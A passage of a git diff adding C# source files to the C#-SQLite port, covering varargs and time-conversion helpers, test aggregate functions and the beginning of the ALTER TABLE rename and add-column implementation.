) + { + if ( a[i + Offset] != b[i] ) return ( a[i + Offset] < b[i] ) ? -1 : 1; + } + return 0; + } + + + //String Testing + static int memcmp( string A, string B, int Limit ) + { + if ( A.Length < Limit ) return ( A.Length < B.Length ) ? -1 : +1; + if ( B.Length < Limit ) return +1; + for ( int i = 0 ; i < Limit ; i++ ) + { + if ( A[i] != B[i] ) return ( A[i] < B[i] ) ? -1 : 1; + } + return 0; + } + + // ---------------------------- + // ** Convertion routines + // ---------------------------- + static string vaFORMAT; + static int vaNEXT; + + static void va_start( object[] ap, string zFormat ) + { + vaFORMAT = zFormat; + vaNEXT = 0; + } + + static object va_arg( object[] ap, string sysType ) + { + vaNEXT += 1; + if ( ap == null || ap.Length == 0 ) + return ""; + switch ( sysType ) + { + case "double": + return Convert.ToDouble( ap[vaNEXT - 1] ); + case "long": + case "long int": + case "longlong int": + case "i64": + if ( ap[vaNEXT - 1].GetType().BaseType.Name == "Object" ) return (i64)( ap[vaNEXT - 1].GetHashCode() ); ; + return Convert.ToInt64( ap[vaNEXT - 1] ); + case "int": + if ( Convert.ToInt64( ap[vaNEXT - 1] ) > 0 && ( Convert.ToUInt32( ap[vaNEXT - 1] ) > Int32.MaxValue ) ) return (Int32)( Convert.ToUInt32( ap[vaNEXT - 1] ) - System.UInt32.MaxValue - 1 ); + else return (Int32)Convert.ToInt32( ap[vaNEXT - 1] ); + case "SrcList": + return (SrcList)ap[vaNEXT - 1]; + case "char": + if ( ap[vaNEXT - 1].GetType().Name == "Int32" && (int)ap[vaNEXT - 1] == 0 ) + { + return (char)'0'; + } + else + { + if ( ap[vaNEXT - 1].GetType().Name == "Int64" ) + if ( (i64)ap[vaNEXT - 1] == 0 ) + { + return (char)'0'; + } + else return (char)( (i64)ap[vaNEXT - 1] ); + else + return (char)ap[vaNEXT - 1]; + } + case "char*": + case "string": + if ( ap[vaNEXT - 1] == null ) + { + return "NULL"; + } + else + { + if ( ap[vaNEXT - 1].GetType().Name == "Byte[]" ) + if ( Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] ) == "\0" ) + return ""; + else + return Encoding.UTF8.GetString( (byte[])ap[vaNEXT - 1] ); + else if ( ap[vaNEXT - 1].GetType().Name == "Int32" ) + return null; + else if ( ap[vaNEXT - 1].GetType().Name == "StringBuilder" ) + return (string)ap[vaNEXT - 1].ToString(); + else return (string)ap[vaNEXT - 1]; + } + case "byte[]": + if ( ap[vaNEXT - 1] == null ) + { + return null; + } + else + { + return (byte[])ap[vaNEXT - 1]; + } + case "int[]": + if ( ap[vaNEXT - 1] == null ) + { + return "NULL"; + } + else + { + return (int[])ap[vaNEXT - 1]; + } + case "Token": + return (Token)ap[vaNEXT - 1]; + case "u3216": + return Convert.ToUInt16( ap[vaNEXT - 1] ); + case "u32": + case "unsigned int": + if ( ap[vaNEXT - 1].GetType().IsClass ) + { + return ap[vaNEXT - 1].GetHashCode(); + } + else + { + return Convert.ToUInt32( ap[vaNEXT - 1] ); + } + case "u64": + case "unsigned long": + case "unsigned long int": + if ( ap[vaNEXT - 1].GetType().IsClass ) + return Convert.ToUInt64( ap[vaNEXT - 1].GetHashCode() ); + else + return Convert.ToUInt64( ap[vaNEXT - 1] ); + case "sqlite3_mem_methods": + return (sqlite3_mem_methods)ap[vaNEXT - 1]; + case "void_function": + return (void_function)ap[vaNEXT - 1]; + case "MemPage": + return (MemPage)ap[vaNEXT - 1]; + default: + Debugger.Break(); + return ap[vaNEXT - 1]; + } + } + static void va_end( object[] ap ) + { + ap = null; + vaFORMAT = ""; + } + + + public static tm localtime( time_t baseTime ) + { + System.DateTime RefTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + RefTime = RefTime.AddSeconds( Convert.ToDouble( baseTime ) ).ToLocalTime(); + tm tm = new tm(); + tm.tm_sec = RefTime.Second; + tm.tm_min = RefTime.Minute; + tm.tm_hour = RefTime.Hour; + tm.tm_mday = RefTime.Day; + tm.tm_mon = RefTime.Month; + tm.tm_year = RefTime.Year; + tm.tm_wday = (int)RefTime.DayOfWeek; + tm.tm_yday = RefTime.DayOfYear; + tm.tm_isdst = RefTime.IsDaylightSavingTime() ? 1 : 0; + return tm; + } + + public static long ToUnixtime( System.DateTime date ) + { + System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + System.TimeSpan timeSpan = date - unixStartTime; + return Convert.ToInt64( timeSpan.TotalSeconds ); + } + + public static System.DateTime ToCSharpTime( long unixTime ) + { + System.DateTime unixStartTime = new System.DateTime( 1970, 1, 1, 0, 0, 0, 0 ); + return unixStartTime.AddSeconds( Convert.ToDouble( unixTime ) ); + } + + public struct tm + { + public int tm_sec; /* seconds after the minute - [0,59] */ + public int tm_min; /* minutes after the hour - [0,59] */ + public int tm_hour; /* hours since midnight - [0,23] */ + public int tm_mday; /* day of the month - [1,31] */ + public int tm_mon; /* months since January - [0,11] */ + public int tm_year; /* years since 1900 */ + public int tm_wday; /* days since Sunday - [0,6] */ + public int tm_yday; /* days since January 1 - [0,365] */ + public int tm_isdst; /* daylight savings time flag */ + }; + + public struct FILETIME + { + public u32 dwLowDateTime; + public u32 dwHighDateTime; + } + + // Example (C#) + public static int GetbytesPerSector( StringBuilder diskPath ) + { + ManagementObjectSearcher mosLogicalDisks = new ManagementObjectSearcher( "select * from Win32_LogicalDisk where DeviceID = '" + diskPath.ToString().Remove( diskPath.Length - 1, 1 ) + "'"); + try + { + foreach ( ManagementObject moLogDisk in mosLogicalDisks.Get() ) + { + ManagementObjectSearcher mosDiskDrives = new ManagementObjectSearcher( "select * from Win32_DiskDrive where SystemName = '" + moLogDisk["SystemName"] + "'" ); + foreach ( ManagementObject moPDisk in mosDiskDrives.Get() ) + { + return int.Parse( moPDisk["BytesPerSector"].ToString() ); + } + } + } + catch { } + return 0; + } + + [DllImport( "kernel32.dll" )] + public static extern bool GetSystemTimeAsFileTime( ref FILETIME sysfiletime ); + + static void SWAP( ref T A, ref T B ) { T t = A; A = B; B = t; } + + static void x_CountStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + SumCtx p; + + int type; + Debug.Assert( argc <= 1 ); + Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); + if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx(); + p = pMem._SumCtx; + if ( p.Context == null ) p.Context = pMem; + if ( argc == 0 || SQLITE_NULL == sqlite3_value_type( argv[0] ) ) + { + p.cnt++; + p.iSum += 1; + } + else + { + type = sqlite3_value_numeric_type( argv[0] ); + if ( p != null && type != SQLITE_NULL ) + { + p.cnt++; + if ( type == SQLITE_INTEGER ) + { + i64 v = sqlite3_value_int64( argv[0] ); + if ( v == 40 || v == 41 ) + { + sqlite3_result_error( context, "value of " + v + " handed to x_count", -1 ); + return; + } + else + { + p.iSum += v; + if ( !( p.approx | p.overflow != 0 ) ) + { + i64 iNewSum = p.iSum + v; + int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) ); + int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) ); + int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) ); + p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0; + p.iSum = iNewSum; + } + } + } + else + { + p.rSum += sqlite3_value_double( argv[0] ); + p.approx = true; + } + } + } + } + static void x_CountFinalize( sqlite3_context context ) + { + SumCtx p; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + if ( p.overflow != 0 ) + { + sqlite3_result_error( context, "integer overflow", -1 ); + } + else if ( p.approx ) + { + sqlite3_result_double( context, p.rSum ); + } + else if ( p.iSum == 42 ) + { + sqlite3_result_error( context, "x_count totals to 42", -1 ); + } + else + { + sqlite3_result_int64( context, p.iSum ); + } + } + } +#if SQLITE_MUTEX_W32 +//---------------------WIN32 Definitions +static int GetCurrentThreadId() +{ +return Thread.CurrentThread.ManagedThreadId; +} +static long InterlockedIncrement(long location) +{ +Interlocked.Increment(ref location); +return location; +} + +static void EnterCriticalSection(Mutex mtx) +{ +Monitor.Enter(mtx); +} +static void InitializeCriticalSection(Mutex mtx) +{ +Monitor.Enter(mtx); +} +static void DeleteCriticalSection(Mutex mtx) +{ +Monitor.Exit(mtx); +} +static void LeaveCriticalSection(Mutex mtx) +{ +Monitor.Exit(mtx); +} + +} +#endif + } +} diff --git a/SQLite/src/alter_c.cs b/SQLite/src/alter_c.cs new file mode 100644 index 0000000..c496107 --- /dev/null +++ b/SQLite/src/alter_c.cs @@ -0,0 +1,727 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2005 February 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that used to generate VDBE code + ** that implements the ALTER TABLE command. + ** + ** $Id: alter.c,v 1.62 2009/07/24 17:58:53 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** The code in this file only exists if we are not omitting the + ** ALTER TABLE logic from the build. + */ +#if !SQLITE_OMIT_ALTERTABLE + + + /* +** This function is used by SQL generated to implement the +** ALTER TABLE command. The first argument is the text of a CREATE TABLE or +** CREATE INDEX command. The second is a table name. The table name in +** the CREATE TABLE or CREATE INDEX statement is replaced with the third +** argument and the result returned. Examples: +** +** sqlite_rename_table('CREATE TABLE abc(a, b, c)', 'def') +** . 'CREATE TABLE def(a, b, c)' +** +** sqlite_rename_table('CREATE INDEX i ON abc(a)', 'def') +** . 'CREATE INDEX i ON def(a, b, c)' +*/ + static void renameTableFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + string bResult = sqlite3_value_text( argv[0] ); + string zSql = bResult == null ? "" : bResult; + string zTableName = sqlite3_value_text( argv[1] ); + + int token = 0; + Token tname = new Token(); + int zCsr = 0; + int zLoc = 0; + int len = 0; + string zRet; + + sqlite3 db = sqlite3_context_db_handle( context ); + + UNUSED_PARAMETER( NotUsed ); + + /* The principle used to locate the table name in the CREATE TABLE + ** statement is that the table name is the first non-space token that + ** is immediately followed by a TK_LP or TK_USING token. + */ + if ( zSql != "" ) + { + do + { + if ( zCsr == zSql.Length ) + { + /* Ran out of input before finding an opening bracket. Return NULL. */ + return; + } + + /* Store the token that zCsr points to in tname. */ + zLoc = zCsr; + tname.z = zSql.Substring( zCsr );//(char*)zCsr; + tname.n = len; + + /* Advance zCsr to the next token. Store that token type in 'token', + ** and its length in 'len' (to be used next iteration of this loop). + */ + do + { + zCsr += len; + len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); + } while ( token == TK_SPACE ); + Debug.Assert( len > 0 ); + } while ( token != TK_LP && token != TK_USING ); + + zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), + zTableName, zSql.Substring( zLoc + tname.n ) ); + + sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); + } + } + +#if !SQLITE_OMIT_TRIGGER + /* This function is used by SQL generated to implement the +** ALTER TABLE command. The first argument is the text of a CREATE TRIGGER +** statement. The second is a table name. The table name in the CREATE +** TRIGGER statement is replaced with the third argument and the result +** returned. This is analagous to renameTableFunc() above, except for CREATE +** TRIGGER, not CREATE INDEX and CREATE TABLE. +*/ + static void renameTriggerFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + string zSql = sqlite3_value_text( argv[0] ); + string zTableName = sqlite3_value_text( argv[1] ); + + int token = 0; + Token tname = new Token(); + int dist = 3; + int zCsr = 0; + int zLoc = 0; + int len = 1; + string zRet; + + sqlite3 db = sqlite3_context_db_handle( context ); + + UNUSED_PARAMETER( NotUsed ); + + /* The principle used to locate the table name in the CREATE TRIGGER + ** statement is that the table name is the first token that is immediatedly + ** preceded by either TK_ON or TK_DOT and immediatedly followed by one + ** of TK_WHEN, TK_BEGIN or TK_FOR. + */ + if ( zSql != null ) + { + do + { + + if ( zCsr == zSql.Length ) + { + /* Ran out of input before finding the table name. Return NULL. */ + return; + } + + /* Store the token that zCsr points to in tname. */ + zLoc = zCsr; + tname.z = zSql.Substring( zCsr, len );//(char*)zCsr; + tname.n = len; + + /* Advance zCsr to the next token. Store that token type in 'token', + ** and its length in 'len' (to be used next iteration of this loop). + */ + do + { + zCsr += len; + len = ( zCsr == zSql.Length ) ? 1 : sqlite3GetToken( zSql, zCsr, ref token ); + } while ( token == TK_SPACE ); + Debug.Assert( len > 0 ); + + /* Variable 'dist' stores the number of tokens read since the most + ** recent TK_DOT or TK_ON. This means that when a WHEN, FOR or BEGIN + ** token is read and 'dist' equals 2, the condition stated above + ** to be met. + ** + ** Note that ON cannot be a database, table or column name, so + ** there is no need to worry about syntax like + ** "CREATE TRIGGER ... ON ON.ON BEGIN ..." etc. + */ + dist++; + if ( token == TK_DOT || token == TK_ON ) + { + dist = 0; + } + } while ( dist != 2 || ( token != TK_WHEN && token != TK_FOR && token != TK_BEGIN ) ); + + /* Variable tname now contains the token that is the old table-name + ** in the CREATE TRIGGER statement. + */ + zRet = sqlite3MPrintf( db, "%.*s\"%w\"%s", zLoc, zSql.Substring( 0, zLoc ), + zTableName, zSql.Substring( zLoc + tname.n ) ); + sqlite3_result_text( context, zRet, -1, SQLITE_DYNAMIC ); + } + } +#endif // * !SQLITE_OMIT_TRIGGER */ + + /* +** Register built-in functions used to help implement ALTER TABLE +*/ + static void sqlite3AlterFunctions( sqlite3 db ) + { + sqlite3CreateFunc( db, "sqlite_rename_table", 2, SQLITE_UTF8, 0, + renameTableFunc, null, null ); +#if !SQLITE_OMIT_TRIGGER + sqlite3CreateFunc( db, "sqlite_rename_trigger", 2, SQLITE_UTF8, 0, + renameTriggerFunc, null, null ); +#endif + } + + /* + ** Generate the text of a WHERE expression which can be used to select all + ** temporary triggers on table pTab from the sqlite_temp_master table. If + ** table pTab has no temporary triggers, or is itself stored in the + ** temporary database, NULL is returned. + */ + static string whereTempTriggers( Parse pParse, Table pTab ) + { + Trigger pTrig; + string zWhere = ""; + string tmp = ""; + Schema pTempSchema = pParse.db.aDb[1].pSchema; /* Temp db schema */ + + /* If the table is not located in the temp.db (in which case NULL is + ** returned, loop through the tables list of triggers. For each trigger + ** that is not part of the temp.db schema, add a clause to the WHERE + ** expression being built up in zWhere. + */ + if ( pTab.pSchema != pTempSchema ) + { + sqlite3 db = pParse.db; + for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext ) + { + if ( pTrig.pSchema == pTempSchema ) + { + if ( zWhere == "" ) + { + zWhere = sqlite3MPrintf( db, "name=%Q", pTrig.name ); + } + else + { + tmp = zWhere; + zWhere = sqlite3MPrintf( db, "%s OR name=%Q", zWhere, pTrig.name ); + //sqlite3DbFree( db, ref tmp ); + } + } + } + } + return zWhere; + } + + /* + ** Generate code to drop and reload the internal representation of table + ** pTab from the database, including triggers and temporary triggers. + ** Argument zName is the name of the table in the database schema at + ** the time the generated code is executed. This can be different from + ** pTab.zName if this function is being called to code part of an + ** "ALTER TABLE RENAME TO" statement. + */ + static void reloadTableSchema( Parse pParse, Table pTab, string zName ) + { + Vdbe v; + string zWhere; + int iDb; /* Index of database containing pTab */ +#if !SQLITE_OMIT_TRIGGER + Trigger pTrig; +#endif + + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) return; + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + Debug.Assert( iDb >= 0 ); + +#if !SQLITE_OMIT_TRIGGER + /* Drop any table triggers from the internal schema. */ + for ( pTrig = sqlite3TriggerList( pParse, pTab ) ; pTrig != null ; pTrig = pTrig.pNext ) + { + int iTrigDb = sqlite3SchemaToIndex( pParse.db, pTrig.pSchema ); + Debug.Assert( iTrigDb == iDb || iTrigDb == 1 ); + sqlite3VdbeAddOp4( v, OP_DropTrigger, iTrigDb, 0, 0, pTrig.name, 0 ); + } +#endif + + /* Drop the table and index from the internal schema */ + sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); + + /* Reload the table, index and permanent trigger schemas. */ + zWhere = sqlite3MPrintf( pParse.db, "tbl_name=%Q", zName ); + if ( zWhere == null ) return; + sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, zWhere, P4_DYNAMIC ); + +#if !SQLITE_OMIT_TRIGGER + /* Now, if the table is not stored in the temp database, reload any temp +** triggers. Don't use IN(...) in case SQLITE_OMIT_SUBQUERY is defined. +*/ + if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) + { + sqlite3VdbeAddOp4( v, OP_ParseSchema, 1, 0, 0, zWhere, P4_DYNAMIC ); + } +#endif + } + + /* + ** Generate code to implement the "ALTER TABLE xxx RENAME TO yyy" + ** command. + */ + static void sqlite3AlterRenameTable( + Parse pParse, /* Parser context. */ + SrcList pSrc, /* The table to rename. */ + Token pName /* The new table name. */ + ) + { + int iDb; /* Database that contains the table */ + string zDb; /* Name of database iDb */ + Table pTab; /* Table being renamed */ + string zName = null; /* NULL-terminated version of pName */ + sqlite3 db = pParse.db; /* Database connection */ + int nTabName; /* Number of UTF-8 characters in zTabName */ + string zTabName; /* Original name of the table */ + Vdbe v; +#if !SQLITE_OMIT_TRIGGER + string zWhere = ""; /* Where clause to locate temp triggers */ +#endif + VTable pVTab = null; /* Non-zero if this is a v-tab with an xRename() */ + + //if ( NEVER( db.mallocFailed != 0 ) ) goto exit_rename_table; + Debug.Assert( pSrc.nSrc == 1 ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); + if ( pTab == null ) goto exit_rename_table; + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + zDb = db.aDb[iDb].zName; + + /* Get a NULL terminated version of the new table name. */ + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) goto exit_rename_table; + + /* Check that a table or index named 'zName' does not already exist + ** in database iDb. If so, this is an error. + */ + if ( sqlite3FindTable( db, zName, zDb ) != null || sqlite3FindIndex( db, zName, zDb ) != null ) + { + sqlite3ErrorMsg( pParse, + "there is already another table or index with this name: %s", zName ); + goto exit_rename_table; + } + + /* Make sure it is not a system table being altered, or a reserved name + ** that the table is being renamed to. + */ + if ( sqlite3Strlen30( pTab.zName ) > 6 + && 0 == sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) + ) + { + sqlite3ErrorMsg( pParse, "table %s may not be altered", pTab.zName ); + goto exit_rename_table; + } + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto exit_rename_table; + } + +#if !SQLITE_OMIT_VIEW + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "view %s may not be altered", pTab.zName ); + goto exit_rename_table; + } +#endif + +#if !SQLITE_OMIT_AUTHORIZATION +/* Invoke the authorization callback. */ +if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ +goto exit_rename_table; +} +#endif + + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto exit_rename_table; + } +#if !SQLITE_OMIT_VIRTUALTABLE + if( IsVirtual(pTab) ){ + pVTab = sqlite3GetVTable(db, pTab); + if( pVTab.pVtab.pModule.xRename==null ){ + pVTab = null; + } +#endif + /* Begin a transaction and code the VerifyCookie for database iDb. +** Then modify the schema cookie (since the ALTER TABLE modifies the +** schema). Open a statement transaction if the table is a virtual +** table. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + { + goto exit_rename_table; + } + sqlite3BeginWriteOperation( pParse, pVTab != null ? 1 : 0, iDb ); + sqlite3ChangeCookie( pParse, iDb ); + + /* If this is a virtual table, invoke the xRename() function if + ** one is defined. The xRename() callback will modify the names + ** of any resources used by the v-table implementation (including other + ** SQLite tables) that are identified by the name of the virtual table. + */ +#if !SQLITE_OMIT_VIRTUALTABLE +if ( pVTab !=null) +{ +int i = ++pParse.nMem; +sqlite3VdbeAddOp4( v, OP_String8, 0, i, 0, zName, 0 ); +sqlite3VdbeAddOp4( v, OP_VRename, i, 0, 0, pVtab, P4_VTAB ); +} +#endif + + /* figure out how many UTF-8 characters are in zName */ + zTabName = pTab.zName; + nTabName = sqlite3Utf8CharLen( zTabName, -1 ); + + /* Modify the sqlite_master table to use the new table name. */ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s SET " + +#if SQLITE_OMIT_TRIGGER +"sql = sqlite_rename_table(sql, %Q), "+ +#else + "sql = CASE " + + "WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)" + + "ELSE sqlite_rename_table(sql, %Q) END, " + +#endif + "tbl_name = %Q, " + + "name = CASE " + + "WHEN type='table' THEN %Q " + + "WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN " + + "'sqlite_autoindex_' || %Q || substr(name,%d+18) " + + "ELSE name END " + + "WHERE tbl_name=%Q AND " + + "(type='table' OR type='index' OR type='trigger');", + zDb, SCHEMA_TABLE( iDb ), zName, zName, zName, +#if !SQLITE_OMIT_TRIGGER + zName, +#endif + zName, nTabName, zTabName + ); + +#if !SQLITE_OMIT_AUTOINCREMENT + /* If the sqlite_sequence table exists in this database, then update +** it with the new table name. +*/ + if ( sqlite3FindTable( db, "sqlite_sequence", zDb ) != null ) + { + sqlite3NestedParse( pParse, + "UPDATE \"%w\".sqlite_sequence set name = %Q WHERE name = %Q", + zDb, zName, pTab.zName + ); + } +#endif + +#if !SQLITE_OMIT_TRIGGER + /* If there are TEMP triggers on this table, modify the sqlite_temp_master +** table. Don't do this if the table being ALTERed is itself located in +** the temp database. +*/ + if ( ( zWhere = whereTempTriggers( pParse, pTab ) ) != "" ) + { + sqlite3NestedParse( pParse, + "UPDATE sqlite_temp_master SET " + + "sql = sqlite_rename_trigger(sql, %Q), " + + "tbl_name = %Q " + + "WHERE %s;", zName, zName, zWhere ); + //sqlite3DbFree( db, ref zWhere ); + } +#endif + + /* Drop and reload the internal table schema. */ + reloadTableSchema( pParse, pTab, zName ); + +exit_rename_table: + sqlite3SrcListDelete( db, ref pSrc ); + //sqlite3DbFree( db, ref zName ); + } + + /* + ** Generate code to make sure the file format number is at least minFormat. + ** The generated code will increase the file format number if necessary. + */ + static void sqlite3MinimumFileFormat( Parse pParse, int iDb, int minFormat ) + { + Vdbe v; + v = sqlite3GetVdbe( pParse ); + /* The VDBE should have been allocated before this routine is called. + ** If that allocation failed, we would have quit before reaching this + ** point */ + if ( ALWAYS( v ) ) + { + int r1 = sqlite3GetTempReg( pParse ); + int r2 = sqlite3GetTempReg( pParse ); + int j1; + sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, r1, BTREE_FILE_FORMAT ); + sqlite3VdbeUsesBtree( v, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, minFormat, r2 ); + j1 = sqlite3VdbeAddOp3( v, OP_Ge, r2, 0, r1 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, r2 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + sqlite3ReleaseTempReg( pParse, r2 ); + } + } + + /* + ** This function is called after an "ALTER TABLE ... ADD" statement + ** has been parsed. Argument pColDef contains the text of the new + ** column definition. + ** + ** The Table structure pParse.pNewTable was extended to include + ** the new column during parsing. + */ + static void sqlite3AlterFinishAddColumn( Parse pParse, Token pColDef ) + { + Table pNew; /* Copy of pParse.pNewTable */ + Table pTab; /* Table being altered */ + int iDb; /* Database number */ + string zDb; /* Database name */ + string zTab; /* Table name */ + string zCol; /* Null-terminated column definition */ + Column pCol; /* The new column */ + Expr pDflt; /* Default value for the new column */ + sqlite3 db; /* The database connection; */ + + db = pParse.db; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) return; + pNew = pParse.pNewTable; + Debug.Assert( pNew != null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + iDb = sqlite3SchemaToIndex( db, pNew.pSchema ); + zDb = db.aDb[iDb].zName; + zTab = pNew.zName.Substring( 16 );// zTab = &pNew->zName[16]; /* Skip the "sqlite_altertab_" prefix on the name */ + pCol = pNew.aCol[pNew.nCol - 1]; + pDflt = pCol.pDflt; + pTab = sqlite3FindTable( db, zTab, zDb ); + Debug.Assert( pTab != null ); + +#if !SQLITE_OMIT_AUTHORIZATION +/* Invoke the authorization callback. */ +if( sqlite3AuthCheck(pParse, SQLITE_ALTER_TABLE, zDb, pTab.zName, 0) ){ +return; +} +#endif + + /* If the default value for the new column was specified with a +** literal NULL, then set pDflt to 0. This simplifies checking +** for an SQL NULL default below. +*/ + if ( pDflt != null && pDflt.op == TK_NULL ) + { + pDflt = null; + } + + /* Check that the new column is not specified as PRIMARY KEY or UNIQUE. + ** If there is a NOT NULL constraint, then the default value for the + ** column must not be NULL. + */ + if ( pCol.isPrimKey != 0 ) + { + sqlite3ErrorMsg( pParse, "Cannot add a PRIMARY KEY column" ); + return; + } + if ( pNew.pIndex != null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a UNIQUE column" ); + return; + } + if ( pCol.notNull != 0 && pDflt == null ) + { + sqlite3ErrorMsg( pParse, + "Cannot add a NOT NULL column with default value NULL" ); + return; + } + + /* Ensure the default expression is something that sqlite3ValueFromExpr() + ** can handle (i.e. not CURRENT_TIME etc.) + */ + if ( pDflt != null ) + { + sqlite3_value pVal = null; + if ( sqlite3ValueFromExpr( db, pDflt, SQLITE_UTF8, SQLITE_AFF_NONE, ref pVal ) != 0 ) + { + // db.mallocFailed = 1; + return; + } + if ( pVal == null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a column with non-constant default" ); + return; + } + sqlite3ValueFree( ref pVal ); + } + + /* Modify the CREATE TABLE statement. */ + zCol = pColDef.z.Substring( 0, pColDef.n ).Replace( ";", " " ).Trim();//sqlite3DbStrNDup(db, (char*)pColDef.z, pColDef.n); + if ( zCol != null ) + { + // char zEnd = zCol[pColDef.n-1]; + // while( zEnd>zCol && (*zEnd==';' || sqlite3Isspace(*zEnd)) ){ + // zEnd-- = '\0'; + // } + sqlite3NestedParse( pParse, + "UPDATE \"%w\".%s SET " + + "sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) " + + "WHERE type = 'table' AND name = %Q", + zDb, SCHEMA_TABLE( iDb ), pNew.addColOffset, zCol, pNew.addColOffset + 1, + zTab + ); + //sqlite3DbFree( db, ref zCol ); + } + + /* If the default value of the new column is NULL, then set the file + ** format to 2. If the default value of the new column is not NULL, + ** the file format becomes 3. + */ + sqlite3MinimumFileFormat( pParse, iDb, pDflt != null ? 3 : 2 ); + + /* Reload the schema of the modified table. */ + reloadTableSchema( pParse, pTab, pTab.zName ); + } + + /* + ** This function is called by the parser after the table-name in + ** an "ALTER TABLE ADD" statement is parsed. Argument + ** pSrc is the full-name of the table being altered. + ** + ** This routine makes a (partial) copy of the Table structure + ** for the table being altered and sets Parse.pNewTable to point + ** to it. Routines called by the parser as the column definition + ** is parsed (i.e. sqlite3AddColumn()) add the new Column data to + ** the copy. The copy of the Table structure is deleted by tokenize.c + ** after parsing is finished. + ** + ** Routine sqlite3AlterFinishAddColumn() will be called to complete + ** coding the "ALTER TABLE ... ADD" statement. + */ + static void sqlite3AlterBeginAddColumn( Parse pParse, SrcList pSrc ) + { + Table pNew; + Table pTab; + Vdbe v; + int iDb; + int i; + int nAlloc; + sqlite3 db = pParse.db; + + /* Look up the table being altered. */ + Debug.Assert( pParse.pNewTable == null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); +// if ( db.mallocFailed != 0 ) goto exit_begin_add_column; + pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); + if ( pTab == null ) goto exit_begin_add_column; + + if ( IsVirtual( pTab ) ) + { + sqlite3ErrorMsg( pParse, "virtual tables may not be altered" ); + goto exit_begin_add_column; + } + + /* Make sure this is not an attempt to ALTER a view. */ + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a column to a view" ); + goto exit_begin_add_column; + } + + Debug.Assert( pTab.addColOffset > 0 ); + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + + /* Put a copy of the Table struct in Parse.pNewTable for the + ** sqlite3AddColumn() function and friends to modify. But modify + ** the name by adding an "sqlite_altertab_" prefix. By adding this + ** prefix, we insure that the name will not collide with an existing + ** table because user table are not allowed to have the "sqlite_" + ** prefix on their name. + */ + pNew = new Table();// (Table*)sqlite3DbMallocZero( db, sizeof(Table)) + if ( pNew == null ) goto exit_begin_add_column; + pParse.pNewTable = pNew; + pNew.nRef = 1; + pNew.dbMem = pTab.dbMem; + pNew.nCol = pTab.nCol; + Debug.Assert( pNew.nCol > 0 ); + nAlloc = ( ( ( pNew.nCol - 1 ) / 8 ) * 8 ) + 8; + Debug.Assert( nAlloc >= pNew.nCol && nAlloc % 8 == 0 && nAlloc - pNew.nCol < 8 ); + pNew.aCol = new Column[nAlloc];// (Column*)sqlite3DbMallocZero( db, sizeof(Column) * nAlloc ); + pNew.zName = sqlite3MPrintf( 